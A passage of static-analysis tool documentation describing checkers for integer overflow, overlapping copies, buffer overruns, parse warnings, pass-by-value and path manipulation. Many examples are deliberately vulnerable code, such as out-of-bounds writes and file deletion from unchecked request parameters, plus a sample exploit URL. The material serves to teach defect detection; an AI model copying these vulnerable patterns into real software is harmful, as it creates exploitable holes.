 z = lw + (x*y) >> 1; //Reported with general_operator_context
 ll = x*(lw+y*z); ////Reported with general_operator_context
}

```

This checker option is automatically set to `true` if the `--aggressiveness-level` option of **cov-analyze** is set to `high`.

- `OVERFLOW_BEFORE_WIDEN:ignore_types:<regex>` - This option specifies a regular expression (Perl syntax) to match against the destination type of the existing widening operation. A defect will *NOT* be reported if the destination type matches the specified regular expression, even if it matches the `check_types` regular expression. Defaults to `OVERFLOW_BEFORE_WIDEN:ignore_types:s?size_t|off_t|time_t|__off64_t|ulong|. *32.*` (C and C++ only).

This checker option is automatically set to `^$` if the `--aggressiveness-level` option of **cov-analyze** is set to `high`.

- `OVERFLOW_BEFORE_WIDEN:relaxed_operator_context:<boolean>` - If this option is set to `false`, the checker will only look for widening casts in certain contexts, such as assignment, conditions, function arguments, and explicit casts, but it will not consider implicit widening casts inside expressions in such contexts. However, if this option is set to `true`, the checker will look for widening casts inside an expression, and it will look into sub-expressions when the operands are in addition, subtraction, boolean bitwise, and unary operations. Defaults to `OVERFLOW_BEFORE_WIDEN:relaxed_operator_context:false` (all languages).

Example:

```
void foo(long long lw,int x, int y,int z)
{
 long long ll;
 ll = lw + (x*y); //Reported with relaxed_operator_context
 ll = (x*y)-lw; //Reported with relaxed_operator_context
 ll = (x*y)/lw; //Not reported with relaxed_operator_context
 z = lw + (x*y) >> 1; //Not reported with relaxed_operator_context
 ll = x*(lw+y*z); ////Not reported with relaxed_operator_context
}
```

This checker option is automatically set to `true` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium`.

- `OVERFLOW_BEFORE_WIDEN:report_intervening_widen:<boolean>` - If this option is set to `true`, a widening cast between two multiplications, such as `(long long) (x * x) * y`, will be treated as a defect. By default, such a widening cast is treated as intentional (and not a defect) on the assumption that it is protecting the later multiplication from overflow because the programmer knows that the first one will not overflow. Defaults to `OVERFLOW_BEFORE_WIDEN:report_intervening_widen:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

#### 4.243.4. Events

This section describes one or more events produced by the `OVERFLOW_BEFORE_WIDEN` checker.

- `overflow_before_widen` - Indicates that the checker found an instance of the defect.

## 4.244. OVERLAPPING\_COPY

Quality Checker

### 4.244.1. Overview

**Supported Languages:** C and C++

`OVERLAPPING_COPY` detects cases where data is copied to an overlapping location in an undefined manner, such as with assignment (undefined unless the overlap is exact and the types compatible) or `memcpy` (always undefined).

**Enabled by default:** `OVERLAPPING_COPY` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.244.2. Defect Anatomy

An `OVERLAPPING_COPY` defect shows a path where memory is copied between overlapping locations. It keeps track of pointers to tell if they point to overlapping locations, then reports if a copy happens, using assignment or `memcpy`.

### 4.244.3. Examples

This section provides one or more `OVERLAPPING_COPY` examples.

#### 4.244.3.1. C and C++

In this example, overlapping memory regions are copied using `memcpy`, which has undefined behavior. Use `memmove` when copying potentially overlapping regions:

```
void badMemCpy(char *p) {
 int *q = p + 2;
 // Copying overlapping regions; should use "memmove".
 memcpy(p, q, 3); // OVERLAPPING_COPY defect
}
```

In the next example, an object is assigned to another object with overlapping storage. The C standard (C11 6.5.16.1/3) indicates that assigning objects with overlapping storage is undefined behavior unless they overlap exactly and have compatible types. Here, this is an error because `l` and `i` have incompatible types:

```
struct S1 {
 int i;
};

struct S2 {
 long l;
};
```

```
void badOverlappingAssignment(void *p) {
 struct S1 *s1 = (struct S1 *)p;
 struct S2 *s2 = (struct S2 *)p;
 // Defect: assigning overlapping objects
 s2->l = s1->i; // OVERLAPPING_COPY defect
}
```

#### 4.244.4. Events

This section describes one or more events produced by the `OVERLAPPING_COPY` checker.

- `equal` - Indicates that 2 pointers point to the same location.
- `offset` - Indicates that 2 pointers point to overlapping but not identical locations.
- `overlapping_assignment` - Indicates an assignment occurs with potentially undefined semantics.
- `source_type` - In case of `overlapping_assignment` with exact overlap, indicates the type of the source location.
- `target_type` - In case of `overlapping_assignment` with exact overlap, indicates the type of the target location.
- `overlapping_copy` - Indicates that `memcpy` is called with overlapping memory locations.

#### 4.245. OVERRUN

Quality, Security Checker

##### 4.245.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`OVERRUN` finds many instances where buffers are accessed out of bounds. Improper buffer access can corrupt memory and cause process crashes, security vulnerabilities and other severe system problems. `OVERRUN` looks for out-of-bounds indexing into both heap buffers and stack buffers.

**Enabled by default:** `OVERRUN` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

##### 4.245.2. Examples

This section provides one or more `OVERRUN` examples.

The following example shows a buffer overrun defect when the buffer size is fixed.

For the defect in this example to appear in the analysis results, you need to add

`OVERRUN:check_nonsymbolic_dynamic:true` to the analysis.

```
void bad_heap() {
 int *buffer = (int *) malloc(10 * sizeof(int)); // 40 bytes
 int i = 0;
```

```

for(; i <= 10; i++) { // Defect: writes buffer[10] and overruns memory
 buffer[i] = i;
}

```

The following examples show a buffer overrun error when the buffer size is determined at runtime.

```

void test(int i) {
 int n;
 char *p = malloc(n);
 int y = n; // Valid indices are buffer[0] to buffer[y - 1]
 p[y] = 'a'; // Defect: writing to buffer[y] overruns local buffer
}

```

```

struct s {
 int a;
 int b;
} s1;

void test() {
 int n, i;
 struct s *p = malloc(n * sizeof(struct s));
 if (i <= n) // "i" can be equal to n
 p[i] = s1; // Defect: overrun of buffer p
}

```

This checker reports a dereference (local or interprocedural) as an overrun defect if either bound of the offset (plus element size) exceeds the upper bound of the buffer size. In accordance with the Coverity evidence-based reporting approach, the checker does not report a defect when the offset (plus element size) might exceed the upper bound of the buffer size. In other words, it does not report a defect simply because the offset does not have an upper bound. Instead, it reports a defect when the current program path imposes a bound on a pointer offset, and that offset is bad. For example, the checker reports the following because the programmer provided evidence that `n` might be `99`:

```

void access_dbuffer(int *x, int n) {
 x[n-1] = 1;
}

void caller(int n) {
 int array[10];
 if (n < 100) {
 access_dbuffer(array, n); // defect
 }
}

```

However, the checker does not report the following as a defect because the programmer provides evidence that `i` might be `9`, but not necessarily `10`:

```

void foo() {
 int array[10];
 int i = get();
}

```

```

if (i > 8) {
 array[i] = 1;
}
}
}

```

### 4.245.3. Options

This section describes one or more `OVERRUN` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `OVERRUN:allow_array_of_uniform_structs:<boolean>` - When this option is true, overruns will not be reported when *all* of the following conditions are true:
  - The memory being accessed is within a structure.
  - That structure is a member of an array of such structures. Call this array `ArrayS`.
  - All members of the structure are either scalars of the same type, or are C-arrays of the same type. This excludes the case of some members being arrays and others being scalars.
  - The read/write would cross the boundary between elements of `ArrayS`, but remain within the complete bounds of `ArrayS`.

Defaults to `OVERRUN:allow_array_of_uniform_structs:true`. The option is disabled at aggressiveness levels of `AGGRESSIVE_MED` or higher.

- `OVERRUN:allow_cond_call_on_parm:<boolean>` - When this option is true, the checker will report cases where a buffer parameter is indexed by another parameter even though the index that is passed to a function in a conditional could potentially check its range. Defaults to false. Defaults to `OVERRUN:allow_cond_call_on_parm:false`

Example:

```

int foo(int);
void default_check_ignore(char *b, int s) {
 if (foo(s)) // assume foo() does no range check on s
 return;
 b[s] = 'a'; // array access at b[s]
}

void test() {
 char *buffer = malloc(128 * sizeof(char));
 default_check_ignore(buffer, 256); // potential overflow at buffer[256]
}

```

- `OVERRUN:allow_range_check_on_parm:<boolean>` - When this option is true, the checker will report defects when a buffer parameter is indexed by another parameter, even though the index has been previously range-checked against some variable (for example, a global). Defaults to `OVERRUN:allow_range_check_on_parm:false`

**Example:**

```
int g = 1000;
void callee(char *x, int n) {
 if (n < g) {
 x[n] = 0;
 }
}
void caller() {
 char buf[10];
 // checking 10 against 1000 does not guard against overrun...
 callee(buf, 10);
}
```

- `OVERRUN:allow_strlen:<boolean>` - When this option is true, the checker will analyze `strlen` function to determine buffer size. This option is enabled by default when the `allow_symbol` option is set to true. Defaults to `OVERRUN:allow_strlen:true`
- `OVERRUN:allow_symbol:<boolean>` - When this option option is true, the checker uses symbolic analysis to find array overruns, even when the size of the array is determined at run time. Defaults to `OVERRUN:allow_symbol:true`

**Example:**

```
void test(int n, int i) {
 int *x = new int[n];
 if (i <= n) // OVERRUN when i == n
 x[i] = 1;
 delete[] x;
}
```

- `OVERRUN:assume_flexible_structs:<boolean>` - When this option is true, the checker does not report an `OVERRUN` defect for structs that allocate data past the end of the struct.

Defaults to `OVERRUN:assume_flexible_structs:false`

**Example:**

The last statement in the following code will be reported as an `OVERRUN` defect.

```
vstruct X {
 int i;
 unsigned j;
};
struct X *x = (struct X *)malloc(sizeof(struct X) + 10);
memset(&x->i, 0, sizeof(struct X) + 10);
```

If you set the `assume_flexible_structs` option to `true`, the defect described above will not be reported. Structs that end in flexible arrays (for example, `unsigned j[]`; , or arrays of size 0 and 1-- also considered flexible), will be considered flexible regardless of this option.

- `OVERRUN:check_nonsymbolic_dynamic:<boolean>` - When this option is true, the checker will report overruns of arrays that are dynamically allocated but with fixed allocation sizes. These reports have a high false positive rate because the analysis often cannot determine the proper correlation between allocation sites and array accesses in code that uses this technique. Defaults to `OVERRUN:check_nonsymbolic_dynamic:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `OVERRUN:report_underrun:<boolean>` - When this option is true, the checker reports when an array is accessed with a negative index. Defaults to `OVERRUN:report_underrun:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

Example:

```
void underrun() {
 int array[10];
 // reported if 'report_underrun' is enabled
 array[-1] = 1;
}
```

- `OVERRUN:strict_arithmetic:<boolean>` - When this option is true, the checker reports when pointer arithmetic yields an address that is before the first byte or after the last byte+1 of the buffer. Using this address as a loop bound will typically result in an overrun or underrun issue. Defaults to `OVERRUN:strict_arithmetic:true`

Example:

```
void arith() {
 int array[10];
 // not reported, no bug here
 std::sort(array, array+10); // std::sort will access array[9]
 // reported if 'strict_arithmetic' is enabled
 std::sort(array, array+11); // std::sort will access array[10]
}
```

- `OVERRUN:strict_member_boundaries:<boolean>` - When this option is true, the checker reports when adjacent arrays within a struct are used as a single large array (the C language does not guarantee that this is safe). Defaults to `OVERRUN:strict_member_boundaries:true`

Example:

```
struct S {
 int x[10];
 int y[20];
};
void member_boundaries() {
 struct S s;
 // reported if 'strict_member_boundaries' is enabled
```

```
memset(&s.x[0], 0, sizeof(int)*30); // access s.x[29]
}
```

- `OVERRUN:strict_multidim:<boolean>` - When this option is `true`, the checker reports defects when one dimension of a multi-dimensional array is accessed out of bounds. Defaults to `OVERRUN:strict_multidim:false`

In the following example, an `OVERRUN` defect would be displayed for the second statement:

```
int arr[2][15];
int n = arr[0][15];
```

#### 4.245.4. Events

This section describes one or more events produced by the `OVERRUN` checker.

- `access_dbuff_const` - A called function calls *another function*, which indexes a provided array at a constant offset, for example:

```
void callee1(int *x) {
 x[10] = 1;
}
void callee2(int *x) {
 callee1(x); //Calling "callee1(int *)" indexes array "x" at byte position 40.
}
void caller() {
 int x[5];
 callee2(x);
}
```

- `alias` - An existing pointer to a buffer is assigned to another variable.
- `alloc_strlen` - A potential defect. A buffer is allocated to match the length of a string but omits space for a terminating null character.
- `buffer_alloc` - A memory allocator is called.
- `const_string_assign` - A string literal is assigned to a variable.
- `overrun-buffer-arg` - In the function, a buffer was indexed at an out-of-bounds position. Both the buffer and index were passed to the function.
- `overrun-buffer-val` - In the function, a buffer was indexed at an out-of-bounds position. The buffer was passed to the function and a local variable was used as the index.
- `overrun-local` - In the function, a buffer was indexed at an out-of-bounds position. Both the buffer and index were local variables.
- `sprintf_overrun` - The `sprintf()` method is called with a string whose length is greater than (or equal to) the size of the destination buffer.

- `strcpy_overflow` - The `strcpy()` method is called with a string whose length is greater than (or equal to) the size of the destination buffer.
- `strlen_assign` - The result of the call to `strlen()` is assigned to a variable.
- `symbolic_assign` - A value correlated to the size of a buffer is assigned to a variable.
- `symbolic_compare` - A variable whose value is correlated to the size of a buffer is compared with another variable.
- `var_assign` - The result of dynamic memory allocation is assigned to a variable.

#### 4.245.5. Primitives

The following primitive works with this checker to imbue properties without involving the `RESOURCE_LEAK` checker.

```
__coverity_mark_buffer_size__
```

The following example shows where to insert the primitive to mark a function that doesn't allocate memory.

```
char* overrun_source(int n) {
 static char *p;
 __coverity_mark_buffer_size__(p, n);
 return p;
}
```

### 4.246. PARSE\_ERROR

Quality

#### 4.246.1. Overview

**Supported Languages:** C, C++, Ruby, Swift

`PARSE_ERROR` is not a typical checker. Rather, when the Coverity compiler cannot parse the source code, `PARSE_ERROR` will create a defect report containing the parse error message. These parsing errors usually occur because a compiler is misconfigured. When they occur, you need to review the compiler configurations and the Coverity build log. When the compiler cannot recover from a parse error, the entire compilation unit is unavailable for analysis.

This checker is a type of parse warning checker. For additional details about it, see Section 4.247, “PW.\*, RW.\*, SW.\*: Compilation Warnings”.

**Disabled by Default:** You can view unrecoverable compilation warning errors in Coverity Connect by adding the option `--enable PARSE_ERROR` to the `cov-analyze` command.

### 4.247. PW.\*, RW.\*, SW.\*: Compilation Warnings

Quality, Compilation Warning Checkers

## 4.247.1. Overview

**Supported Languages:** C, C++, Swift

Unlike other Coverity checkers, compilation warning checkers only expose and filter warnings from the Coverity compiler and do not use interprocedural modeling. In other words, compilation warning checkers perform local analysis that does not consider the behavior of called functions.

**Enablement:** Default settings are managed through a configuration file. For details and enablement/disablement options, see Section 1.2.2, “Enabling Compilation Warning Checkers (PW.\*, RW.\*, SW.\*)”.

- C/C++: Disabled by default.
- Swift: Enabled by default.

The following PW.\* checker is set to `true` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium` (or to `high`):

```
PW.DECLARED_BUT_NOT_REFERENCED
```

The following PW.\* checkers are set to `true` if the `--aggressiveness-level` option of **cov-analyze** is set to `high`:

```
PW.ALREADY_DEFINED
PW.BAD_INITIALIZER_TYPE
PW.BAD_RETURN_VALUE_TYPE
PW.CLASS_WITH_OP_DELETE_BUT_NO_OP_NEW
PW.CLASS_WITH_OP_NEW_BUT_NO_OP_DELETE
PW.ILP64_WILL_NARROW
PW.INCOMPATIBLE_ASSIGNMENT_OPERANDS
PW.INCOMPATIBLE_OPERANDS
PW.INCOMPATIBLE_PARAM
PW.INTEGER_TRUNCATED
PW.MIXED_ENUM_TYPE
PW.NESTED_COMMENT
PW.NO_CORRESPONDING_DELETE
PW.NO_CORRESPONDING_MEMBER_DELETE
PW.NO_CTOR_BUT_CONST_OR_REF_MEMBER
PW.NON_CONST_PRINTF_FORMAT_STRING
PW.NONSTD_VOID_PARAM_LIST
PW.NOT_COMPATIBLE_WITH_PREVIOUS_DECL
PW.POINTER_CONVERSION_LOSES_BITS
PW.SET_BUT_NOT_USED
```

When you run **cov-build**, warning information is stored in the intermediate directory. If you enable compilation warnings, checkers expose these warnings as defects during the analysis process.

### 4.247.1.1. Parse warnings (PW.\*)

A variety of problems are found by parse warnings. Parse warnings can show simple problems in the code, or can be signs of deeper defects. Parse warnings have the prefix PW.

Parse warnings checkers are documented in the comments of the sample configuration file, `<install_dir_sa>/config/parse_warnings.conf.sample`.

To judge by frequency of use, Coverity Analysis users find the following parse-warning checkers to be the most helpful in locating source errors:

```
PW.BAD_INITIALIZER_TYPE
PW.BRANCH_PAST_INITIALIZATION
PW.CAST_TO_QUALIFIED_TYPE
PW.CC_CLOBBER_IGNORED
PW.CODE_IS_UNREACHABLE
PW.DECLARED_BUT_NOT_REFERENCED
PW.EMPTY_THEN_STATEMENT
PW.EXTRA_SEMICOLON
PW.INCLUDE_RECURSION
PW.INCOMPATIBLE_ASSIGNMENT_OPERANDS
PW.INCOMPATIBLE_PARAM
PW.LOCAL_VARIABLE_HIDDEN
PW.LOOP_NOT_REACHABLE
PW.MIXED_ENUM_TYPE
PW.NO_CTOR_BUT_CONST_OR_REF_MEMBER
PW.NON_CONST_PRINTF_FORMAT_STRING
PW.NONSTD_EXTRA_COMMA
PW.PARAM_SET_BUT_NOT_USED
PW.PARAMETER_HIDDEN
PW.PARTIAL_OVERRIDE
PW.PRINTF_ARG_MISMATCH
PW.SET_BUT_NOT_USED
PW.SIGNED_ONE_BIT_FIELD
PW.SIGNED_UNSIGNED_COMPARISON
PW.STORAGE_CLASS_NOT_FIRST
PW.SUBSCRIPT_OUT_OF_RANGE
PW.TRIGRAPH_IGNORED
PW.UNDEFINED_PREPROC_ID
PW.UNSIGNED_COMPARE_WITH_ZERO
PW.USED_BEFORE_SET
```

### Parse errors (PARSE\_ERROR)

- Unrecoverable parse errors are named `PARSE_ERROR`. If the compiler cannot recover from a parse error, the entire compilation unit is not available to be analyzed.

#### 4.247.1.2. Recovery warnings (RW.\*)

Recovery warnings have the prefix `RW`. The Coverity compiler can recover from some parse errors. If the parse error is unrecoverable, see `PARSE_ERROR`. The function that caused the parse error is not analyzed. When the compiler recovers, a recovery warning occurs on the line of the recovery. For the functions that are not available for analysis, the recovery warning `RW.ROUTINE_NOT_EMITTED` also occurs.

#### 4.247.1.3. Semantic warnings (SW.\*)

The compiler encounters non-standard code, but can provide a reasonable approximation of what was intended by the code. Semantic warnings can indicate that code is non-portable or could easily be misunderstood by other developers. Semantic warnings can also result in a loss of fidelity if the Coverity interpretation of the code is different than that of the native compiler. Coverity recommends fixing semantic warnings. Semantic warnings have the prefix SW.

#### 4.247.1.3.1. SW.INCOMPLETE\_TYPE\_NOT\_ALLOWED

The SW.INCOMPLETE\_TYPE\_NOT\_ALLOWED warning reports if the type of the `type-id` is a class type or a reference to a class type, and the class is not completely defined.

#### 4.247.2. Examples

This section provides one or more `PW` examples.

The PW.INCLUDE\_RECURSION warning reports recursive header file problems that can cause the code to not compile, or that cause incorrect run-time behavior. Code might not compile if there is a dependency cycle in two header files that are included. Incorrect run-time behavior can occur because of function overloading, for example. Also, recursive include files can be difficult to maintain and problems difficult to fix.

For example, the following header files `a.h` and `b.h` are included by `c.cc`.

```
// a.h
#ifndef A_H // multiple-inclusion guard
#define A_H
#include "b.h" // class B, print(B*)
class A {
public:
 B *b;
 void pb() { print(b); }
};

void print(A *) { printf("print(A*"); }
#endif // A_H
```

```
// b.h
#ifndef B_H
#define B_H
#include "a.h" // class A, print(A*)
class B {
public:
 A *a;
 void pa() { print(a); }
};

void print(B *) { printf("print(B*"); }
#endif // B_H
```

The following code, `c.cc`, will not compile because `b.h` includes `a.h`, which defines class `A`, but because of a dependency cycle, only one of class `A` or class `B` can be processed first, at which time the other class must be undefined.

```
// c.cc
#include <stdio.h> // printf
void print(void *) { printf("print(void*)"); }
#include "a.h" // class A
#include "b.h" // class B
int main()
{
 (new A)->pb();
 (new B)->pa();
 return 0;
}
```

If you try to compile this code with gcc 4.1.1, you will receive the following confusing error:

```
b.h:8: error: ISO C++ forbids declaration of 'A' with no type
b.h:8: error: expected ';' before '*' token
```

If you add the following forward declaration for class A, the code will compile, but you will get unexpected output.

```
// b.h
#ifndef B_H
#define B_H
#include "a.h" // class A, print(A*)
class A; //forward declaration
class B {
public:
 A *a;
 void pa() { print(a); }
};

void print(B *) { printf("print(B*)"); }
#endif // B_H
```

You would expect the program to print the following output:

```
print(B*)
print(A*)
```

But instead, the following output is printed because `print(A*)` is still not visible, but `print(void*)` is visible, and so that function is selected as the implementation of `B::pa`:

```
print(B*)
print(void*)
```

These problems can all be fixed if you avoid cycles in the include structure. The `PW.INCLUDE_RECURSION` warning finds such cycles.

### 4.247.3. Events

This section describes one or more events produced by the `PW` checker.

- Main event : The warning text, which appears above the line of cause that is causing the warning.
- Primary file event : The name of the file that was being compiled if the warning appears in a different file. This event, if present, follows the main event.
- Caret line : A caret character (^) in the column that triggered the warning. This event appears below the line of code that caused the warning.

## 4.248. PASS\_BY\_VALUE

Quality Checker

### 4.248.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`PASS_BY_VALUE` finds instances of function parameters whose types are too big (by default, over 128 bytes). To avoid this defect, such parameters should be passed as pointers (in C) or as references (in C++). The checker does not report a defect for a write to a parameter because the write might be intentional. However, for C++ code, the checker does report a defect if a `catch` statement for a pass-by-value exception object is bigger than 64 bytes.

Passing by value is not necessarily a defect but there can be a performance loss because of the amount of data copied. You can use the checker options to tune thresholds that determine when errors are reported (see Section 4.248.3, “Options”).

Although an incorrect pass-by-value should never be reported, the passed size might not be large enough to warrant changing the code. If this is the case, you can use a code-line annotation to suppress a `pass_by_value` event.

**Enabled by default:** `PASS_BY_VALUE` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.248.2. Examples

This section provides one or more `PASS_BY_VALUE` examples.

```
struct big {
 int a[20];
 int b[20];
 int c[20];
};

void test(big b) { // Warning: passing by value, 240 bytes
}
```

```
struct exn {
 const char str[128];
 int code;
};
```

```
void foo() {
 try {
 //...
 } catch(exn e) { // Warning, catch by value, 132 bytes
 //...
 }
}
```

### 4.248.3. Options

This section describes one or more `PASS_BY_VALUE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `PASS_BY_VALUE:catch_threshold:<bytes>` - This option specifies the maximum size of a catch parameter. When a catch parameter is larger, the checker will report a defect. Defaults to `PASS_BY_VALUE:catch_threshold:64` (64 bytes).
- `PASS_BY_VALUE:size_threshold:<bytes>` - This option specifies the low threshold for the maximum size of a function parameter. When a parameter is larger (and lower than `medium_size_threshold`), the checker will report a defect with `exceeds_low_threshold` subcategory. Defaults to `PASS_BY_VALUE:size_threshold:128` (128 bytes).
- `PASS_BY_VALUE:medium_size_threshold:<bytes>` - This option specifies the medium threshold for the maximum size of a function parameter. When a parameter is larger (and lower than `high_size_threshold`), the checker will report a defect with `exceeds_medium_threshold` subcategory. Defaults to `PASS_BY_VALUE:medium_size_threshold:256` (256 bytes).
- `PASS_BY_VALUE:high_size_threshold:<bytes>` - This option specifies the high threshold for the maximum size of a function parameter. When a parameter is larger, the checker will report a defect with `exceeds_high_threshold` subcategory. Defaults to `PASS_BY_VALUE:high_size_threshold:512` (512 bytes).
- `PASS_BY_VALUE:unmodified_threshold:<bytes>` - This option specifies the maximum size of a function parameter that is not modified inside the function. When an unmodified parameter is larger, the checker will report a defect. Defaults to `PASS_BY_VALUE:unmodified_threshold:128` (128 bytes).

### 4.248.4. Events

This section describes one or more events produced by the `PASS_BY_VALUE` checker.

- `pass_by_value` : A large object (by default, greater than 128 bytes) is passed by value to a function, or a large object is *caught* by value.

## 4.249. PATH\_MANIPULATION

Security Checker

### 4.249.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, Kotlin, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, TypeScript, Visual Basic

`PATH_MANIPULATION` detects many cases in which a filename or path is constructed unsafely.

An attacker who has control over part of the filename or path might be able to maliciously alter the overall path and access, modify, or test the existence of critical or sensitive files. Particular concerns are the ability to perform directory traversal in a path (for example, `../`) or to specify absolute paths.

These types of vulnerabilities can be prevented by proper input validation. The user input should be allow-listed to contain only the expected values or characters.

The `PATH_MANIPULATION` checker uses the global trust model to determine whether to trust servlet inputs, the network data, filesystem data, or database information. You can use the `--trust-*` and/or `--distrust-*` options to `cov-analyze` [✎](#) to modify the current settings.

**Disabled by default:** `PATH_MANIPULATION` is disabled by default for C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, TypeScript, and Visual Basic. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Enabled by default** For Go, Kotlin, Ruby, and Swift, `PATH_MANIPULATION` is enabled by default.

- **Web application security checker enablement:** To enable `PATH_MANIPULATION` along with other Web application checkers, use the `--webapp-security` option.
- **Android security checker enablement:** To enable `PATH_MANIPULATION` along with other Java Android security checkers, use the `--android-security` option to the `cov-analyze` command.
- **Security checker enablement:** To enable `PATH_MANIPULATION` along with other security checkers, use the `--security` option to the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.249.2. Defect Anatomy

A `PATH_MANIPULATION` defect shows a dataflow path by which untrusted (tainted) data is used to construct a filename, filesystem path, or URI. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program: for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string used in a filesystem API. In the absence of proper validations, the data might cause the program to read, leak information about, write, delete, move, or otherwise alter an unexpected file.

### 4.249.3. Examples

This section provides one or more `PATH_MANIPULATION` examples.

#### 4.249.3.1. C, C++

The following example shows a vulnerability in which tainted data from the network is used as an unsafe file path. The `xmlFreeDoc` and `xmlParseFile` functions are from the `libxml` library. The `PATH_MANIPULATION` defect occurs at the line beginning with `xmlDocPtr freedDocPtr`.

```
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>

void xmlFreeDoc(xmlDocPtr cur);
xmlDocPtr xmlParseFile(const char *filename);

void getXml(int socket)
{
 char path[1024];
 if (recv(socket, path, sizeof(path), 0) > 0) {
 xmlDocPtr freedDocPtr = xmlParseFile(path);
 xmlFreeDoc(freedDocPtr);
 }
}
```

#### 4.249.3.2. C#

The following example shows a vulnerability in which an HTTP request parameter is used to construct an unsafe file path.

```
using System;
using System.IO;
using System.Web;

public class PathManipulation {

 void Test(HttpRequest req) {

 String attachment = req["attachment"];
 File.Delete(@"c:\tmp\attachments\" + attachment);
 //Defect
 }
}
```

#### 4.249.3.3. Go

The following example shows a `PATH_MANIPULATION` vulnerability handling an HTTP request. Here, the `toDelete` parameter is used unsafely as a path to delete.

```
package main

import "net/http"
import "os"
```

```
func Test(req http.Request) {
 toDelete := req.URL.Query().Get("toDelete")
 os.Remove(toDelete) // defect here
}
```

#### 4.249.3.4. Java

The following example shows a `PATH_MANIPULATION` vulnerability in a Spring 3 controller. Here, the user parameter is used to construct and write to an unsafe path.

```
@Controller
class MyController {

 private final String WEBDATA_ROOT = "/home/www/data/";

 @RequestMapping("/log_success")
 public String logSuccessHandler(@RequestParam("user") String user) {
 String loc = WEBDATA_ROOT + "logs/" + user;
 try (FileWriter fw = new FileWriter(loc, true)) {
 fw.write("Success: " + new Date() + "\n");
 } catch (IOException e) { }
 return "redirect:/";
 }
}
```

#### 4.249.3.5. JavaScript

The following code example shows a vulnerable Node.js Web application using the Express framework.

```
const express = require("express");
const app = express();

app.get("/",
 function run(req, res, next) { // Defect here.
 const file = req.query.file;
 const data = new Date() + " : " + req.query.data;
 require("fs").appendFile(
 file, // attacker-controlled data used to determine file name
 data,
 (err) => {
 console.log(`Append to '${file}' ` +
 (err ? `failed: ${err}` : 'succeeded.'));
 });
 res.send("Done");
 });
app.listen(1337, function() {
 console.log("Express listening...");
});
```

Example exploit:

```
http://127.0.0.1:1337/?file=example&data=anything+you+want
```

#### 4.249.3.6. Kotlin

The following example shows a `PATH_MANIPULATION` vulnerability handling an HTTP request. Here, the `attachment` parameter is used unsafely as the path in creating a `File` object.

```
import java.io.File
import javax.servlet.http.HttpServletRequest
import java.io.*

class PathManipulation {
 fun test(req: HttpServletRequest) {
 val attachment = req.getParameter("attachment")
 var f = File(attachment)
 f.deleteRecursively()
 }
}
```

#### 4.249.3.7. PHP

The following example shows a vulnerability in which an HTTP request parameter is used to construct an unsafe directory name.

```
<?php
$user = $_GET['username'];
$dir_name = "$user-pictures";
eio_mkdir($dir_name, 0300, EIO_PRI_DEFAULT); // Defect here
?>
```

#### 4.249.3.8. Python

The following Python code (which uses the Django framework) allows tainted data from the HTTP request to determine the directory to change to.

```
import os
from django.conf.urls import url

def django_view(request):
 os.chdir(request.body);

urlpatterns = [
 url(r'index', django_view)
]
```

#### 4.249.3.9. Ruby

The following Ruby on Rails code demonstrates deleting a file using an HTTP request parameter as part of the file path without validation.

```
class ExampleController < ApplicationController
 def delete
 File.delete(File.join("tmp", params[:name]))
 end
end
```

#### 4.249.3.10. Swift

The following example demonstrates a defect when the database is distrusted.

```
import Foundation
import UIKit

class ViewController: UIViewController {

 @IBOutlet weak var userText: UITextField!

 @IBAction func pressedButton(_ sender: Any) {
 let d : Data = FileManager.default.contents(atPath:userText.text!)! //
Defect
 print(d)
 }

 override func viewDidLoad() {
 super.viewDidLoad()
 // Do any additional setup after loading the view, typically from a nib.
 }

 override func didReceiveMemoryWarning() {
 super.didReceiveMemoryWarning()
 // Dispose of any resources that can be recreated.
 }
}
```

#### 4.249.3.11. Visual Basic

The following Visual Basic example shows a vulnerability in which an HTTP request parameter is used to delete a file. The user has total control over the path of the file to delete.

```
Sub DeleteUnsafeFile(request As HttpRequest)

 ' Read untrusted data from a user HTTP request
 Dim untrusted as String = request("delete_file")

 ' Delete a file without any check
 File.delete(untrusted) 'DEFECT

End Sub
```

In the next example, the user-controllable string cannot include a path traversal character, so the filename is limited to the intended filesystem directory. No defect is reported.

```

Sub DeleteSafeFile(request As HttpRequest)

 ' Read untrusted data from a user HTTP request
 Dim id as String = request("file_id")

 ' Check that the suffix does not contain any directory traversal
 If Not id.Contains("\") Then
 File.delete("C:\Users\Coverity\Data_"+id+".dat") 'SAFE
 End If

End Sub

```

## 4.249.4. Models and Annotations

### 4.249.4.1. C#, Visual Basic, Java

Models and annotations can improve analysis with this checker in the following cases:

- If the analysis misses defects because it does not treat certain data as tainted, see discussion of the `Tainted` annotation (refer to Section 5.2.2.1, “and Attributes” for C# and Visual Basic, or `@Tainted` and `@NotTainted` Annotations for Java).

Also, for instructions on marking method return values, parameters, and fields as tainted, see Section 5.2.1.2, “Modeling Sources of Untrusted (Tainted) Data” for C# and Visual Basic, or Section 5.4.1.3, “Modeling Sources of Untrusted (Tainted) Data” for Java.

